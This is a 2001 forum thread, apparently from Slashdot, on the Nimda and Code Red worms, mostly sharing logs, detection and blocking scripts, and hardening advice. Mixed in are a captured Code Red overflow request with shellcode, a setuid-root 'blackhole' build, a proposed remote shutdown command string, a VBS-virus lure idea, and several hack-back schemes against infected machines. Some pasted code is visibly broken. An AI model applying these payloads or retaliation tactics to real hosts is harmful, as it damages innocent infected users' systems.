gcc -o /sbin/blackhole blackhole.c
chown root /sbin/blackhole
chmod 4755 /sbin/blackhole
gcc -o @@ServerRoot@@/cgi-bin/root.exe root.c

replace @@ServerRoot@@ with your server root dir ofcourse...

Download Virus Decompile Files in ASM and Pseudo C

[GamerDFWM]

If you look in the files, there are clearly defined string values that show some of the attacked directories. It's not much, but maybe it'll help someone else figure out how to stop the worm.

http://www.smu.edu/~laguerra/readme.asm.rar (ASM)
http://www.smu.edu/~laguerra/readme.rec.rar (C from REC)

-GamerDFWM

I got hit 10 Sep?

[Scratch-O-Matic]

I just checked back through my logs, and found about a dozen hits from a single IP on September 10th. It tried to get cmd.exe, root.exe, NULL.ida, index.asp, and index.php.Anyone with more experience than me know what that's all about?

CodeRed v3 - Same exploit, different payload

[PorscheBxterS]

According to Computer Associates it's just a variant of the original CodeRed, CodeRedv3. They've got all the info on it listed here. It matches the hits I'm getting on my site, I don't know about everybody else.

Ask them for /etc/passwd!!

[krogoth]

That's it! i'm sick of all these worms trying to get cmd.exe when i'm running linux! I'm gonna collect their IPs and flood them with requests for /etc/passwd!!!! If you want to contribute IPs or bandwidth, join the Passwd Flood Network (PFN)!! :)

Re:Ask them for /etc/passwd!!

[J'raxis]

Wouldnt it be more appropriate to flood them for /bin/sh?

Re:Ask them for /etc/passwd!!

[krogoth]

I don't know about more appropriate... i suppose it could be more powerful, but /etc/passwd is the first good one I came up with.

Re:Ask them for /etc/passwd!!

[dam_ned]

Wel, just flood them for both, as this worm also requests multiple files :p

Re:Ask them for /etc/passwd!!

[J'raxis]

I was thinking /bin/sh because cmd.exe is a sort of shell in its own way.

Re:Ask them for /etc/passwd!!

[jeremyp]

cmd.exe is the command line interpreter for windows. It's analogue on any Unix-alike is /bin/sh

Re:Ask them for /etc/passwd!!

[hhe_hee]

Why flood them, it's just innocent people infected by a worm. You can't just shoot people that get's sick at the hospital can you?
And by the way, is'nt it almost illegal to flood ppl like that just for revenge... eh?

Re:Ask them for /etc/passwd!!

[tmbailey123]

When is corporate America going to wise up and realize that M$oft Outhouse is simply a threat to revenue and must be abandoned for something less prone to attacks ?

It is analogous to a one sided snowball fight. Virus writers vs. corporate IT. The virus writers keep hurling snowballs in the direction of corporate IT. Many of them miss others score a direct hit.

You would think sooner or later corporate decision makers would wise up and learn to DUCK !. Implement a policy that M$oft Outhouse is NOT to be used. Until such actions are taken by corporate IT Redmond will never get the hint.

Re:Time for a class action lawsuit against Microso

[ahzz]

Nah, I personaly believe that the correct action is to start writing our government officials complaining of the increased cost of operation of non-MS based ISPs due to the negligincy of MS in patching and writing thier software. I would even go so far as to imply criminal negligence.

This exemplifies one of the many reasons MS needs to be monitored closely and punished.

Could google help with that?

[ColGraff]

Please don't flame me if I'm way off base - I'm not very familiar with the way Google caches sites - but might it have cached your pr0n images? Could you just run a search for your site on googl, then access the cached version?

readme.exe payload

[Niherlas]

I've got an end-luser who claims that, when she opened up the email attachement she received (bad luser, bad!), it brought up an image of the statue of liberty flipping off the viewer.

Granted, I haven't felt like offering up a system for sacrifice to verify, but it goes well with the earlier comment that things linked back to a pro-WTC 2600 site...

Re:A moment of being an idiot

[Anonymous Coward]

Microsoft Software is more popular and so it gets hit more. If linux was just as popular you would see the same thing happen.

People that dislike windows and love linux are the reason for this attack. Its these people that are writing the viruses and worms.

It just shows how linux fanatics arn't that much differnt than Mulsim fanatics.

NIMDA getting mentioned by FBI

[davey23sol]

NIMDA is getting mentioned on the FBI briefing.. Ascroft is talking about it like it's a major security hazard.

cool!

Fix graphic

[Hoonis]

This shows how to manually disable the hole in ie/outlook:

http://www.rainfinity.com/scripting_fix.jpg

the new macafee datfiles also successfuly fix it (we tested, their first one didn't work!)

You'd have better luck with PERL

[AKAImBatman]

While it is possible to write destructive code in Java, you would lack a good delivery system. Just try writing to the hard drive from an applet. Oops. SecurityException.

Java is actually well designed and suited as internet enabled binary code. The security model is just one of the ways that it accomplishes that goal.

Re:You'd have better luck with PERL

[Anonymous Coward]

I thought that was only true for applets, and that Java Apps bypassed the security manager?

re m$ crap

[Anonymous Coward]

My firewall has blocked 144 attempts in the last one and a half hour but they are all from 159.xxx

I've been infected. What do I do?

[cweiblen]

A quick search on my hard drive revealed a readme.eml file in my Temporary Internet Files folder, so I assume I am infected. How do I rid my computer of the worm?

Re:I've been infected. What do I do?

[Anonymous Coward]

focusing on the .eml files will not help you. they are in every folder on my box. uninstall, or disable your Outlook Express. I renamed all my Outlook Express files, that seems to have stopped the email spawning. now that all companies are supposedly notified, a hotfix should not be long to take care of the rest of the problems...

Re:I've been infected. What do I do?

[Anonymous Coward]

Pull down an app like this and see if readme.exe is running. Kill it if it is.

http://www.teamcti.com/pview/index.htm

How to REALLY Screw Things Up

[TOTKChief]

1. Create a VBS virus.
2. Name the file something like ScrewbinLaden.jpg.vbs, or USFlag.jpg.vbs.
3. Send it out however you want.

I've seen so many "patriotic" emails lately that it's obvious that the social engineering situation is ripe for the plucking.

Re:How to REALLY Screw Things Up

[Anonymous Coward]

As soon as I hear this happen, I will report morrisg@uah.edu to the proprer authorities.

Re:How to REALLY Screw Things Up

[TOTKChief]

Whatever. I haven't seen the FBI arrest Tom Clancy for conjuring up the idea of using a large passenger jet full of fuel as a flying bomb, so it's patently obvious that ideas in and of themselves aren't going to get you in trouble.

And if the authorities would contact me, I'll let 'em have access to every computer I use. Of course, getting mine from work may be kinda hard, as I work for a defense contractor, but whatever.

Why am I responding to an AC?

Re:How to REALLY Screw Things Up

[erc]

That's because he wasn't the first one to come up with it. Try "Storming Heaven" by Dale Brown - the scnario is virtually identical to what actually happened.

It's an IIS virus! No, it's an IE virus!

[mikosullivan]

No, it's a floor wax! No, it's a dessert topping!

This is correct

[Midnight Ryder]

This virus isn't affecting just IIS servers.. it's being spread by all Windows computers.

This is correct, really. After a machine either: a) visits a webserver that's been infected or b) reads an email that was infected it then becomes an infection vector it's self. No, there's no admin.dll - that's only on NT/2K servers, not user workstations.

(Though, someone may correct me if I'm wrong ;-)

Find the cardboard box...

[Anonymous Coward]

...that your computer came in. Put all the parts in the box and return it to your vendor with a note reading "I'm too stupid to be allowed to have this"

Re:Time for a class action lawsuit against Microso

[zerocool^]

They were negligent when they created software and technologies that are so easily exploited.

This isn't a microsoft abuse. I can go down the street to bob's lawn care and get materials to create a car bomb. Does that mean that Scott's Turf Builder is responsible for my actions? Microsoft creates a product (outlook) that checks email. It checks email, and fairly well, and in a way that is easy to understand and simple to use.

This is simple applied economics, supply and demand. There are more windows users out there than anything else, by alot. And the average windows user does not know as much about how their computer works as the average *nix user, again, by a lot. To bring the supply and demand into it, it is easier to write code for windows, there are far more windows boxen, and the users know less about the inner workings - therefore more time is spent by hackers/scriptkiddies learning exploits and writing viruses. If linux was the world's premier operating system, and my mother used KMail or Pine, i'm sure the k|dd|3z would be writing exploits for that.

Now, i don't pretend to say that Microsoft makes a superior product. It is definately less secure. However, there's a world of difference between a windows user who may, sometime in the lifespan of his computer, go to www.windowsupdate.com and download patches, and Bruce Perens using apt-get update on a daily basis. You can't reasonably hold microsoft responsible for the upkeep and mantinence of literally millions of desktop computers in the united states alone. Nor can you fault them for releasing a product that is not "hack-proof", as, to my knowledge, no such product exists.

To listen to CNN and some of the posts by the slashdot crowd, you would think that Microsoft created Windows solely for the purpose of propagating the Code Red Worm. Let's not forget the simple fact that somewhere, someone wrote that bug, and they wrote it for the platform that would allow it to do the most damage, and that platform is windows.

Now, if you're gonna criticize microsoft, put your money where your mouth is, and write your own operating system, and get it on the desktop of 97% of the computer users in the united states, and have it impervious to viruses. Or be logical, and talk to people about linux. Educate them that there's something better out there, more secure, crashes less. Put debian on your mom's box, teach her Opera. Use the line i saw on someone's .sig here - "Frustrated? Don't throw your computers out the window, throw the windows out of your computer!"

Less bitching, more solutions.

~z

Idea for Microsoft

[colk99]

Put an Big security warning when you install IIS saying this services is an webserver and as such can be comprismised DO NOT RUN IT UNLESS YOU know what you are doing.

Legal Ramifications of Retaliation

[Gleep]

Ok, i've got servers that are getting hit thousands of times by the same ip's. i've been probed 2500 times in the past couple of days by one in particular.
I've contacted my network colo persons, and they have "opened a trouble ticket" and contacted their admins about the problem...
nothing.

i have been increasingly leaning towards using the wonderful perl script found on DasBistro that someone already posted. i'm thinking of writing a php version (shouldn't be too hard...)

BUT

if i shut down some machine that is pounding on my server are there really legal ramifications? i've seen some posts claiming so, but i haven't seen a consensus.
I'm also contemplating writing a reverse virus that will worm into a codered/nimda/whatever infected box and apply patches etc... but not spread itself further to avoid creating network problems.
any ramifications of that?
anybody?

i hate to have to resort to that but i've been probed 3000 times in the past 5 minutes!!!!!

This has got to stop!!!

Re:Legal Ramifications of Retaliation

[erc]

There are serious legal ramifications to shutting down someone else's server or turning off IIS. The was discussed in detail at the IWAR conference held in DC a couple of weeks ago.

anyone got this?

[Anonymous Coward]

anyone got this?

213.80.2.98 - - [18/Sep/2001:21:12:21 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 271

nimda

[sm4k]

Some of the people over here are experiancing "Out of memory" messages even though resources show 70%+.. Cant send email or open excel files amung other things.

.eml's are created in any shared paths but when deleted they just reappear upon reboot.

sigh..

to any MS users like me combatting this...

[Anonymous Coward]

all my boxes on 208 block, lovely SWBELL, many BabyBell DSLs are on this 208. Worm used Admin W3SVC to expose /%root%/system32/cmd.exe, and other dll's asundry. Has launched a VB macro for Outlook Express in addition. OE compose windows were flying up all over the screen. Explorer.exe shell finally crapped out. with no interface, I did the ol Ctrl+Alt+Del, TaskMon, File/Run, cmd.exe, then I cd /~progra~1/outloo~1. renamed every file in there to another name. rebooted. Seems to have stopped the flurry of emails. Called MS, they had no idea this was going on. gave them "Nimba". boywonder wrote it down on peice of paper, went to his super. Came back in 5, said Security Department is on it, look to ms.com/security for updates (HA! nothing yet. f-secure has more info!). still waiting for zippy the wonderslug to react. why! why Lord did we choose microsoft! forgive us our sins as we were fools sucked in back in 92 to billephesto's clutches! anyway, this does not fix the reg mods. have hope...

Check out your files...

[DigiWood]

I am finding the following line in all of my html docs and some .exe on the affected servers:

'window.open("readme.eml", null, "resizable=no,top=6000,left=6000")'

Re:Check out your files...

[J'raxis]

Yep. Its installing something so any visitors to your website running MSIE with jScript turned on will infect themselves.

Clever, eh?

Re:National Infrastructure Protection Center warni

[Anonymous Coward]

Whether or not it's an actual "act of war" is irrelevant right now - the US gov't is just twitchy enough (and rightly so) at the moment that it would *perceive* this as an act of war and act accordingly against whomever authored the virus.

All in all, this could not have been released at a worse time.

W2K has explicit denies

[MeowMeow Jones]

So you can explicitly deny execute access to TFTP to the IUSR_computername account.

Faxing web log to congressman

[mikosullivan]

I'm going to fax a grep of this virus' attempts to my congressman with a brief mention that this only effects Microsoft servers... Apache servers are again not effected.

Miko O'Sullivan
OpenSourceLobby.org

Re:Faxing web log to congressman

[Anonymous Coward]

great... just what our congressmen need to confuse them more
he will look at that and go "huh?"

Re:Faxing web log to congressman

[mikosullivan]

he will look at that and go "huh?"

I doubt that. Here's the text of the fax before the grep:

Dear Representative Boucher:

Another virus is making the rounds of the web via Microsoft technology. It is probably trying to infect your web server right now. This virus, dubbed Nimda, effects Microsoft IIS web servers and Microsoft Internet Explorer. However, the Apache web server, an open source project that has not had a major security issue in four years, has not been effected in any way.

Nimda spreads itself by contacting other web servers and sending special commands that infiltrate the security of the computer. Nimda attempted to contact our server over 900 times just yesterday, but those attempts have been futile: the virus writers have found it easier to write viruses for Microsoft IIS than for Apache. The code that follows are just a few of the attempts made. Many more will follow on our server and your server.

These security breaches (Microsoft IIS averages more than two a year) cost the taxpayer, the military, and American businesses billions of dollars a year. See http://www.dwheeler.com/oss_fs_why.html for more details on why open source is more secure and more cost-effective than the closed-source software used by so many government and private organizations.

sincerely,

Miko O'Sullivan
A concerned constituent
miko@opensourcelobby.org

Re:Faxing web log to congressman

[Anonymous Coward]

I know this isn't a big deal, and usually I wouldn't correct spelling or grammar, but since this is going to a congressman, might I kindly suggest these fixes?

>This virus, dubbed Nimda, effects Microsoft IIS

I think you want affects.

>has not been effected in any way.

Again, affected is probably the word you want.

Hey, don't take it personally, just figured you might want to know. :-)

NPSIS

[NatePWIII]

Our whole network is being severely bombarded, amazing...

Take a look at the traffic on one of our T1 lines click here

The downward spike is when our network admin shut everything out for a while as he attempted to reconfigure our router and firewall to stop the attacks...

Detection

[PotatoNO]

Here's some quickie detection methods.

grep for "Concept Virus(CV) V.5, Copyright(C)2001 R.P.China"

or a perl script to do the same:

#!/usr/bin/perl

$SIG = <<EOF;
436f 6e63
6570 7420 5669 7275 7328 4356 2920 562e
352c 2043 6f70 7972 6967 6874 2843 2932
3030 3120 2052 2e50 2e43 6869 6e61 0000
EOF

$SIG =~ s/\s//g;
$SIG =~ s/([\dabcdef]{2})/chr(hex($1))/ge;

while () {
if (index($_,$SIG)>=0) {
print STDERR "W32/Nimada.A\@MM DETECTED!\n";
exit 128;
}
}

MIME Encoded the Signature is:
Q29uY2VwdCBWaXJ1cyhDVikgVi41LCBDb3B5cmlnaHQoQyky MD Ax

(make sure you remove the space at the end between MD and Ax. Slashdot adds it to prevent long strings from breaking formatting)

Re:Time for a class action lawsuit against Microso

[RickHunter]

Heh, more like:

Troll or flamebait - any comment on Slashdot that is less than wildly enthusiastic about any Microsoft-related product, or is even remotely supportive of non-Microsoft software of any kind.

Your post raises a good point. These ISPs are paying for this traffic that's being caused by faults in Microsoft's products. Why shouldn't Microsoft be held accountable for these costs? If we cause any dip in the revenue of Microsoft's products, or any cost to them, we're accountable. Why shouldn't they be?

Tip for Exchange administrators

[justin_w_hall]

If you're like me and (unfortunately) stuck in an Exchange/Outlook mail environment, and you're ready to drop-kick your salespeople for opening README.EXE because they 'thought it would be important', you can significantly save yourself some headaches. Here's what I did:

1) Got everyone using Outlook as an Exchange client to at least Outlook 2000 SR1. This keeps Outlook from being able to even receive 'Level 1' attachments (EXE, COM, BAT, VBS, etc). Get the update here.

2) I work for a software company, so our developers email around these types of files all the time. So I got the Outlook Email Security Update Administration Tools here. It allows you to customize what attachments get through your server and which don't, to which users, etc.

Keep those attachments out of the hands of your more careless users, and make Exchange (gasp) useful instead of painful.

Just something I found useful.

Active defense on these types of worms?

[MadCow42]

Seeing as it's known how these worms spread (such as Code Red, etc.), and you know that the computers that are connecting to yours ARE infected, couldn't you use the known exploit to hack their IIS service?

Microsoft says in their documentation on the Code Red exploit (through the .ida file access) that if the buffer overflow contained random data, it would shut down the IIS service (IIS 5.0 will auto restart though). Seeing as it's the IIS service that's running the rogue virus, wouldn't this stop the threat, at least temporarily? (Or, does is the .ida file exploit used to load a larger virus that runs standalone?).

It'd be simple to create a file with the name that the virus tries to GET (and enable Apache to execute that extension). This script would then send a GET request exactly like Code Red to the affected server, with random data in the overflow area. (about 2 lines of Perl).

The IIS service should then shut down, and if it's version 5.0 or later it will restart (possibly clean).

Comments?

MadCow.

Comeon NT/2000 users, lets get with it

[Whyzzi]

Microsoft's published a handy-dandy GUI tool that will eliminate most of these types of worms. Go here

http://www.microsoft.com/Downloads/Release.asp?Rel easeID=32362

Re:Comeon NT/2000 users, lets get with it

[rm-r]

Somebody give this guy +5, this is just what every poor soul who has to look after Windows Boxen needs!

And it even makes...

[greyrat]

...Juliene fries!

Lessons (not) learned from Code Red (long)

[Peter H.S.]

A book could have been written on "Lessons learned by Code Red", but it wasn't, so here are some really random thoughts:

Network design:
The new, but simple attack strategy, of hitting neighbour IP adresses, should be a wake up call for all, since this allow for very rapid infections of LAN /IP segments.
Correct me if I am wrong, but wouldn't it be fair to say, that for Code Red to infect the LAN side, the network (and firewall) is fundamentally designed
wrong? Why should a webserver on the public internet, be allowed to issue GETs through the firewall, to the LAN side?
Eg. a company has a public webserver (host A), and a LAN-side server (host B). Of course they have setup their firewall, so that host B, can't be reached directly from the Internet. But for some reason, (people are often cited for, that it is convinience), they make it possibly for all kind of traffic to reach host B, as long as it originates from host A.

Patching:
People often say; "Just patch, and you will be safe". But patching is just the first line of defence.
Some day, a Code Red style worm, exploiting an unknown flaw, perhaps even a flaw that are not easely patched like a "standard" buffer overflow. The speed of such an infection could be overwhelming, with perhaps 100.000's of hosts infected per day, and worse, since the infect algorithm, seems to be very effective in getting inside LANs, the problem may reach infocalyptic proportions.
My point is, that a secure network _design_ with defence in depth, is a necessity, and may stop the infection on the Internet-side.
Perhaps "network plurality" may be something; eg. if one is running MS web-servers, then deploy a Linux/*BSD firewall.

Finally, the LAN side seems very vulnerably now. Sysadmins now face, the overwhelming, Sissyfosian task of patching, upgrading, and locking the LAN-side, as tight as if it were on the public Internet. That just won't happend.

Futher ranting on patching; Why does (some) vendors mix security fixes, and non-security, non-critical bug-fixes, and, worst of all "enhancements" in the same patch? (are you listening MS ).
No wonder SysAdmins are hesitant to patch LAN side, produktion servers when the patch is more than 50Mbyte.
They must wonder whether their systems may BSOD on the spot. (How many times was MS-SP 6 pulled, before it reemerged as SP 6a, twice?). Or does all the new "enhancements" or bugfixes break "company-wide-important-app"?

And speaking of "defence in depth"
Not many networks seems to secured that way, or monitored at all by eg. IDS's. Yeah, money seemed to be spend on "surf-blocking", or monitoring employees mail for four letter words, and badmouthing of the boss.
From my reading of usenet and weblogs on Code Red, it seems that most people discovered it, since their MS-NT 4.0 servers crashed more than usual, or that their managed switches, and IP-printers locked up.
I am no better than the most, I am still reading up on Tripwire and Snort.

NAT
I like NAT /Masquerading etc. It really can give eg. a company good LAN side security.
But NAT gives rather less protection, if portforwarding is used; eg. small company buys a xDSL connection, and are issued small router that does firewalling and NAT. So they make portforwarding to p:80, and closes everything else. But Code Red style worms just thrive on such a setup; It is handily portforwarded into the LAN side, and will spread real fast once inside.
And NAT and firewalling doesn't help at all, if the worm is multi-vectoring through mail and webbrowsers:
eg. the first infections is by mail. The trojan then watches were people surf, and tries to infect those sites.
If succesfull, the trojanend machine, deploys a payload on the website, that further infects all vulnerable webbrowser, visting the site.

On infected machines.
Every attacking machine are announcing to the world that it is infected. (A clever, fellow slashdotter
wrote a piece on this, but I can't find the link now)
Further, more malicious attacks may be instigated on the affected machines. And these, second wave-attacks may not appear in any logs, they may even be impossible for any IDS to detect.

And speaking of IDS's; how many actually monitors traffic going out from the network, especially through port 80?

People may have gotten by, by just removing the actual trojan until now. Perhaps this time too, but
next time it is likely, that all the script kiddies in the world seizes the opportunity to mass infect the infected machines with new and improved root-kits.

Imagine a DDoS from a skript kiddie, controlling 50.000 machines residing all around the globe. Good luck filtering that out on the router, or even your upstream providers router.
Or even worse, a skript kiddie with a clue, a personal grudge against your company, and having a root-kit on your LAN.

And more; it seems like a lot of Code Red attack machines, were W2k Pro's with accidentaly installed web-servers.
Now, the fools with upatched boxes and xDSL lines are hard to do anything about, but it also seems that a lot of accidently web-servers, were found on company /campus LANs. Mapping and scanning the LAN, and dealing with those kind of web-servers, should become a standard practise.

VPN's:
VPNs are often labelled as something that enhances security, but as other point out, they are actually the exact opposite, since they dig a deep hole in the firewall, into the corperate LAN. Good cryptation and authentification by VPN's, doesn't help, if Mr. Traveling Salesman are trojaing a worm, when he connects the LAN through his laptop.

In short, we must all rethink our network design and security. Firewall and IDS on the inside LAN. Lock and patch the LAN, as it was on the public Internet. Use eg. "port mirroring" on the core switch to a "silent" monitor box.
Run network scanners like nessus (www.nessus.org) and nmap on all LAN clients and hosts, so "forgotten" machines are discovered, and accidently installed web-servers are discovered.
Harden hosts with tripwire /md5sum, so even if a host is infected, root-kits may be detected.

Re:Lessons (not) learned from Code Red (long)

[kindbud]

I like NAT /Masquerading etc. It really can give eg. a company good LAN side security.

But then you go on to detail how many ways it is inadequate. NAT was not invented to solve a security problem, it was invented to solve a connectivity problem. By design, NAT enables communication where it was otherwise not possible. This is the opposite of what a firewall does.

Repeat after me: NAT is not a security technology, NAT is not a security technology, NAT is not a security technology. Repeat it until you believe it. It's the truth.

Re:Lessons (not) learned from Code Red (long)

[Peter H.S.]

But then you go on to detail how many ways it is inadequate. NAT was not invented to solve a security problem, it was invented to solve a connectivity problem. By design, NAT enables communication where it was otherwise not possible. This is the opposite of what a firewall does.

Repeat after me: NAT is not a security technology, NAT is not a security technology, NAT is not a security technology. Repeat it until you believe it. It's the truth.

I know, but since most small companies on xDSL /ISDN lines doesn't get (or need) public IP's for all the client pc's, NAT is a pretty common fact. And NAT does give some kind of protection, and is easy to understand and implement.
Note, that I don't think NAT is a firewall substitute, my gripe was actually against those who think so, and rely on their eg. xDSL routers NAT and packet filtering abilities, while negating those security benefits by portforwarding to servers on the LAN side.

IISBLOCK

[bl968]

Edit this to suit

#!/usr/bin/perl

# IISBLOCK - Infected IIS server blocking utility.
# by Bill Larson of Compu-Net Enterprises.
# http://www.compu.net. This header must be kept intact if you
# wish to redistribute the script.

my $check = 0;
my $line = "";
my $weblog = "/etc/www/logs/access_log";
my $infection = "/root/infected";
my $removelist = "/root/fwclean";

#open the web server log file specified above and start processing

open (HTFILE, "$weblog");
until (eof (HTFILE))
{
$line =;
chop ($line);

#Pattern match on IIS Attempts then strip down to the hostname/ip addresss

if ($line =~ /.*\/winnt\/system32\/.*/) {
$line =~ s/\ -.*//gi;

# This host is infected so lets do something about it.

}
}
close(HTFILE);

sub infected {
$check = 0;

# begin a check to ensure that we only take action once.

open (HTFILE2, "$infection");
until (eof (HTFILE2)){
$dupe =;
chop ($dupe);
if ($line =~ /$dupe/){
$check = 1;
}
else {
}
}
close(HTFILE2);

# If this is a unique host continue

if ($check eq "0") {

# time to add to the list of infected hosts

open (HTFILE2, ">>$infection");
print HTFILE2 "$line\n";
close(HTFILE2);

# add using the specified add command
# firewall software will print an error on invalid hostnames.
# Zap them one at a time maunally

system ("/sbin/ipchains -I input -s $line -j DENY -l");

# write firewall removal line to the remove list file
# modify this line for your specific firewall software

open (HTFILE3, ">>$removelist");
print HTFILE3 "/sbin/ipchains -D input -s $line -j DENY -l\n";
close(HTFILE3);
}

# That's all folks!

}

Re:IISBLOCK

[Anonymous Coward]

At the risk of heaps of scorn and utter shame: When I run this I get ": No such file or directory.

I have check all the paths and they seem to lead to files, so I am at a loss. Can anyone help me.

Re:IISBLOCK

[jmkf]

is something like: sed s/+dir/+shutdown%20\/L%20\/Y%20\/C/ and returning the visit with this string more effective? These machines should be vulnerable to this kind of attack.

limited time offer

[archen]

Now would be the perfect time to upgrade to Microsoft's new state of the art operating system 'Windows XP'. I'm sure once everyone does this sort of thing will never happen again!

*smirk*

What is wrong with ppl?

[WhiteKnight07]

Why can't ppl just keep their anti-virus software updated and admin their servers properly? It's not that hard to do.... Anyone who's too stupid to secure their system deserves to be hit by whatever comes down the line IMHO.

I have a cable modem in the 24.x.x.x range and I haven't seen anything out of the ordinary in my logs all day. heh... It's amazing what a properly configured firewall can do to keep your system secure. :)

<humor>
Heck, no virus has ever been able to get into my comp. Why, my comp hasn't even crashed once since I g

1. ERROR: Connection to host lost.

</humor>

Re:What is wrong with ppl?

[ellem]

SARC STILL has no update for this virus. MacAfee does but they tend to release fixes too early. (They very well may have fixed that I haven't used them in years)

Whom do I tell?

[sbeitzel]

Okay, I've modified my system for trapping Code Red attacks to log Nimda attacks as well. So, do y'all reckon SecurityFocus wants to know about it as well?

security.

[saintlupus]

Sort of, but I still agree. *BUT*, which would you choose if you wanted something that simply "ships" secure?

BSD.

(Yeah, it's a troll. But try any version of BSD for a while and you'll realize how sloppy Linux really is.)

--saint

Re:National Infrastructure Protection Center warni

[2b]

...will now be considered an act of wart and will be dealt with accordingly.

What's an act of wart and how do you deal with it?

These attacks are becoming annoying!

[Anonymous Coward]

These attacks are becoming annoying, it seems that any jerk can set up a web page with Microsoft IIS and make those of us how take the time to learn about worms/viruses and setting up systems properly suffer by their incompetence or ignorance.

I'm not only getting scanned by home PC's, but sites which look like they are 'real' web providers, i.e. people who should know better by now.

Is there anything that sensible users can do to slow/stall/crash the offenders computers in order to reclaim the bandwidth that they are wasting?

Most annoyed,
Simon W.

Re:National Infrastructure Protection Center warni

[psxndc]

Cortizone is the only defense and the last bastion of hope. :-)

psxndc

They should have named it TFOSORCIM

[bareman]

Calling it Nimda seems to say it's the ADMIN(nimda reversed) that are backwards. For many of them it's not their fault they are getting hit with this. It's Microsoft that's backwards on security.

I used to be a fan of MS. I am now planning ways to leave them behind at home and for the organization.

Filter Rules based on OS

[mcdade]

There should be some way to filter out access based on OS. That would be good, cause it always seems to be NT/2000 boxes screwing up the network, speaking of which, I seem to have an 2000 box with Active directory trying to send updates to my domain cause some idiot admin deceided to put my domain name in their machine. Prob. some 15yr old kid who doesn't have the first clue about routing and DNS.

Great .. do we really need all these Idiot boxes on the Net?? I say we all upgrade to IPV6 and leave the MS boxes on their own IPv4 network wallowing in massive packet spray.

new virus

[crazyprogrammer]

I don't think that the time this new virus was released was an accident. Since a virus like Nimda probably took more than a week to write, it may have been written by someone connected to bin Laden. Also, it may have been written many weeks or months ago, but not released until today.

So if the person who wrote/released this "Nimda" is reading this, I just have to say that you'll have to try harder because my Linux box running Apache has held up through Code Red, and is holding up extremely well with Nimda. The only problems it causes me is filling up my log files.

Re:Time for a class action lawsuit against Microso

[fmaxwell]

I can go down the street to bob's lawn care and get materials to create a car bomb. Does that mean that Scott's Turf Builder is responsible for my actions?

In addition to that being an extremely tasteless analogy in light of recent events, it's not even a remotely fair one. In the case of IIS, Microsoft claimed that it was secure. In the case of their e-mail client (Outlook/Outlook Express), who in their right mind would write an e-mail client that executed code (vbscript, etc.) enclosed in an e-mail?

You can't reasonably hold microsoft responsible for the upkeep and mantinence of literally millions of desktop computers in the united states alone.

That would be like Ford/Firestone having to recall tens of thousands of tires just because they fall apart and cause accidents. Should drivers of Ford SUVs go to www.ford.com to check for recalls every day? Maybe in your world...

Now, if you're gonna criticize microsoft, put your money where your mouth is, and write your own operating system, and get it on the desktop of 97% of the computer users in the united states, and have it impervious to viruses.

That's the most ridiculous thing I've read in a while. So you are actually saying that I don't have a right to complain about an unsafe car unless I start my own competing car factory? Parents cannot complain about strollers that injure their kids unless they start a stroller company? People deformed by Thalidimide have no right to complain until they start their own pharmaceutical company and make a competing drug? How many moons circle your home world?

Or be logical, and talk to people about linux. Educate them that there's something better out there, more secure, crashes less.

Damn! All I had to do was talk to 25,000+ Road Runner users throughout the country, convince them to switch to Linux, and I could have avoided my connection being hammered for two weeks? Now you tell me. I'll put all of my belongings into an RV so that I can tour the country convincing people to switch to Linux.

Less bitching, more solutions.

Solution: AOL, Earthlink, UUNet, and every other major ISP in the world join together, sues Microsoft, and wins a large settlement. Microsoft stops developing and bundling bad video editors, paint packages, web servers, and online Othello games and, instead, concentrates on making a more secure, robust OS.

My dubious (but oh-so-fun) "solution"

[smokeJet]

Fed up of letting other people create chaos, I've just knocked together a Java app to sit on port 80 and wait for HTTP requests.

When it gets one, it spawns a thread to open a client socket onto port 80 of the original incoming machine and send back the original request :) Loadsa fun.

It's sitting causing havoc right now. Quite interesting seeing what some of those dodgy requests throw back at you, all sort of corporate espionage potential, and it's all automated; you already know the machines you're attacking are vulnerable cos they're attacking you!

Runs great in Win32, should be fine on Linux too but I ain't tested it.

Anybody else feeling nihilistic who wants it, give me yr email or icq and I'll be happy to oblige.

For extra credit points, re-implement it yourself in Rebol.

Analysis of Attacks:

[zTTTz]

Attack as of: 2:48:36 PM on 9/18/2001 (Indiana):

Number of attacks in 000 hours: 0
Number of attacks in 100 hours: 0
Number of attacks in 200 hours: 0
Number of attacks in 300 hours: 0
Number of attacks in 400 hours: 0
Number of attacks in 500 hours: 0
Number of attacks in 600 hours: 0
Number of attacks in 700 hours: 0
Number of attacks in 800 hours: 416
Number of attacks in 900 hours: 1096
Number of attacks in 1000 hours: 1121
Number of attacks in 1100 hours: 1373
Number of attacks in 1200 hours: 1821
Number of attacks in 1300 hours: 1450
Number of attacks in 1400 hours: 1125
Number of attacks in 1500 hours: 0
Number of attacks in 1600 hours: 0
Number of attacks in 1700 hours: 0
Number of attacks in 1800 hours: 0
Number of attacks in 1900 hours: 0
Number of attacks in 2000 hours: 0
Number of attacks in 2100 hours: 0
Number of attacks in 2200 hours: 0
Number of attacks in 2300 hours: 0
Total Number of Attacks = 8402

How to get there:

Step 1: Grab your Access log off your still functional Apache Web Server:
cd /var/log;cat access_log|grep cmd.exe|grep 18/Sep|sort -n +1 > /tmp/attack.txt

Step 2: Ftp /tmp/attack.txt in ASCII mode to your c:\

Step 3: Execute this VB code (re-write it in perl if it bugs ya).

Option Explicit
Sub Main()
Dim ScanLine, CurrentIP, LastIP As String
Dim AttackHour(0 To 23) As Integer
Dim AttackTime As Integer
Dim TotalAttacks As Integer
Dim X As Integer
Open "C:\attack.txt" For Input As #1
Open "C:\results.txt" For Output As #2

Print #2, "Attacking IP's as of: " & Time & " on " & Date
CurrentIP = ""
LastIP = ""
TotalAttacks = 0
While Not EOF(1)
Line Input #1, ScanLine
CurrentIP = Trim(Left(ScanLine, InStr(ScanLine, "-") - 1))
AttackTime = Val(Trim(Mid(ScanLine, InStr(ScanLine, ":") + 1, 2)))
AttackHour(AttackTime) = AttackHour(AttackTime) + 1
If CurrentIP LastIP Then
Print #2, LastIP
LastIP = CurrentIP
End If
Wend
Close #1
